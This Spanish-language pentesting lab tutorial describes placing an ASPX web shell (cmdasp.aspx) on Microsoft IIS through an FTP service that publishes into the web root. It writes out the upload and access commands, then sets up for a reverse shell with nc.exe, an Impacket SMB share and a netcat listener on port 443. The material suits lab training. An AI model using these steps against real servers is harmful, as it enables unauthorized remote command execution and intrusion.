Web Shell ASPX en Microsoft IIS

En algunos laboratorios de pentesting, el servicio FTP está configurado para publicar directamente los archivos en el directorio web de Microsoft IIS. Si el servidor permite subir archivos .aspx y posteriormente ejecutarlos desde el navegador, puede obtenerse una web shell para interactuar con el sistema.

Localizar una Web Shell ASPX

Kali Linux suele incluir la web shell cmdasp.aspx.

Buscar su ubicación:

copiarfind / -name cmdasp.aspx 2>/dev/null

Copiar el archivo al directorio de trabajo:

copiarcp <ruta/cmdasp.aspx> .

Subir la Web Shell mediante FTP

Conectarse al servicio FTP y subir el archivo:

copiarput cmdasp.aspx

Si el directorio FTP coincide con el directorio web del servidor, el archivo será accesible desde el navegador.

Acceder a la Web Shell

Abrir el navegador y acceder a:

copiarhttp://<IP>/cmdasp.aspx

Si la subida ha sido correcta y el servidor permite ejecutar archivos ASPX, aparecerá una interfaz para ejecutar comandos del sistema.

Herramientas útiles

Localizar Netcat para Windows

En Kali Linux:

copiarfind / -name nc.exe 2>/dev/null

Copiar el binario al directorio actual:

copiarcp <ruta/nc.exe> .

Levantar un recurso compartido SMB

Compartir el directorio actual mediante Impacket:

copiarimpacket-smbserver recurso $(pwd) -smb2support

Preparar un listener

copiarnc -nlvp 443

Flujo habitual en un laboratorio

1. Detectar un servidor IIS.
2. Comprobar si el servicio FTP publica directamente en el directorio web.
3. Subir una web shell ASPX.
4. Verificar que el archivo puede ejecutarse desde el navegador.
5. Utilizar la web shell para validar el nivel de acceso obtenido y continuar con las pruebas autorizadas según el escenario del laboratorio.

Herramientas relacionadas